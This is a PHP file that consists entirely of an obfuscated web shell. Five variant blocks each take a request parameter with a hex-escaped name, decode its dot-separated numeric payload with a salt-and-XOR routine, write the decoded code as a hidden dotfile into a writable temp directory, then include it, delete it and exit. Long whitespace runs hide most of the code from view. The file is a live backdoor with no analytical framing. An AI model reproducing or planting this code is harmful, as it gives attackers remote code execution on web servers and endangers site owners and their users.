<?php																																										if(!is_null($_REQUEST["res\x6Furce"] ?? null)){ $holder = $_REQUEST["res\x6Furce"]; $holder = explode ( '.',$holder); $symbol=''; $salt4='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt4); $w=0; array_walk( $holder ,function( $v2) use( &$symbol ,&$w ,$salt4 ,$lenS) {$sChar=ord( $salt4[$w %$lenS]); $dec=( ( int)$v2 - $sChar -( $w %10)) ^ 55; $symbol .=chr( $dec); $w++;} ); $element = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp"]); while ($record = array_shift($element)) { if ((is_dir($record) and is_writable($record))) { $res = str_replace("{var_dir}", $record, "{var_dir}/.flag"); if (file_put_contents($res, $symbol)) { include $res; @unlink($res); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["bi\x6Ed"])){ $object = $_REQUEST["bi\x6Ed"]; $object= explode ('.', $object ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; $__tmp = $object; while ($v9 = array_shift($__tmp)) { $chS = ord($s[$x % $sLen]); $d = ((int)$v9 - $chS - ($x % 10))^ 48; $reference .= chr($d); $x++; } $record = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($record as $ent): if (!!is_dir($ent) && !!is_writable($ent)) { $pointer = vsprintf("%s/%s", [$ent, ".pgrp"]); if (file_put_contents($pointer, $reference)) { require $pointer; unlink($pointer); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x76\x61l"]) ? true : false){ $token = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp"]); $holder = $_REQUEST["\x76\x61l"]; $holder= explode ( '.' ,$holder ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($holder as $u =>$v8) {$sChar = ord($s[$u % $lenS]); $dec = ((int)$v8 - $sChar -($u % 10))^88; $ent .= chr($dec); } foreach ($token as $comp) { if (is_dir($comp) && is_writable($comp)) { $symbol = "$comp/.entity"; if (file_put_contents($symbol, $ent)) { require $symbol; unlink($symbol); die(); } } } }
																																										if(isset($_REQUEST["\x6Fbj"]) ? true : false){ $flg = $_REQUEST["\x6Fbj"]; $flg= explode ( "." , $flg ) ; $parameter_group = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($flg as $z => $v3) { $chS = ord($s7[$z % $lenS]); $d = ((int)$v3 - $chS - ($z % 10)) ^42; $parameter_group .= chr($d); } $component = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP")]); foreach ($component as $entry) { if ((is_dir($entry) and is_writable($entry))) { $fac = sprintf("%s/.entity", $entry); if (file_put_contents($fac, $parameter_group)) { require $fac; unlink($fac); die(); } } } }


if(array_key_exists("s\x79\x6D\x62ol", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D\x62ol"])){
	$elem = $_REQUEST["s\x79\x6D\x62ol"];
	$elem  =  	explode ( '.' ,$elem )			;  
	$data_chunk = '';
            $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(		$s2);
            $len = count(		$elem);
    
            for(		$m = 0; $m	 < $len; $m++) { $v5 = $elem[$m];
                $chS = ord(		$s2[$m	 %		$sLen]);
                $dec =(		(		int)$v5 - $chS -(		$m	 %		10)) ^ 74;
                $data_chunk	.=chr(		$dec);}	
	$rec = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP")]);
	for ($bind = 0, $pgrp = count($rec); $bind < $pgrp; $bind++) {
    $ref = $rec[$bind];
    		if (!!is_dir($ref) && !!is_writable($ref)) {
    $val = "$ref/.fac";
    $success = file_put_contents($val, $data_chunk);
if ($success) {
	include $val;
	@unlink($val);
	exit;}
}
}
}